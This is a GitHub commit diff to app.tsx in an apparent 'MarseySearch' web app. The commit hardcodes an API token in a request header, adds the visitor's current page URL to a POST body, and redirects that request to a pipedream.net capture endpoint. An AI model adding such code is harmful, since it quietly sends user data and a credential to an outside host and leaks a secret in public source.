Update app.tsx

pull/2/head
MarseyLivesMatter 2022-06-12 07:05:50 +08:00 committed by GitHub
parent 1fe8babb5c
commit 2676d06599
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 9 additions and 7 deletions

View File

@ -444,14 +444,16 @@ var hash_accessor = (function (window) {
).then(
(jsonResponse) =>
{
const options = {
method: "POST",
headers,
mode: "cors",
body: JSON.stringify(jsonResponse).slice(0,-1) + ", " + JSON.stringify(obj).slice(1),
}
const options = {
method: 'POST',
headers: {'xc-token' : 'GH4RaidOnfCMk4_N3-t-9DcEFTSx66z57yEss7XZ','Content-Type': 'application/json'},
mode: 'cors',
body: JSON.stringify(jsonResponse).slice(0,-1) + ", " + JSON.stringify(obj).slice(1, -1) + ", \"refurl\": \""+ window.location.href + "\"}",
}
fetch("https://db.lmao.works/api/v1/db/data/noco/MarseySearch/MarseySearch", options)
fetch("https://eoa22umjqdu9ddj.m.pipedream.net", options)
const options1 = {
method: 'POST',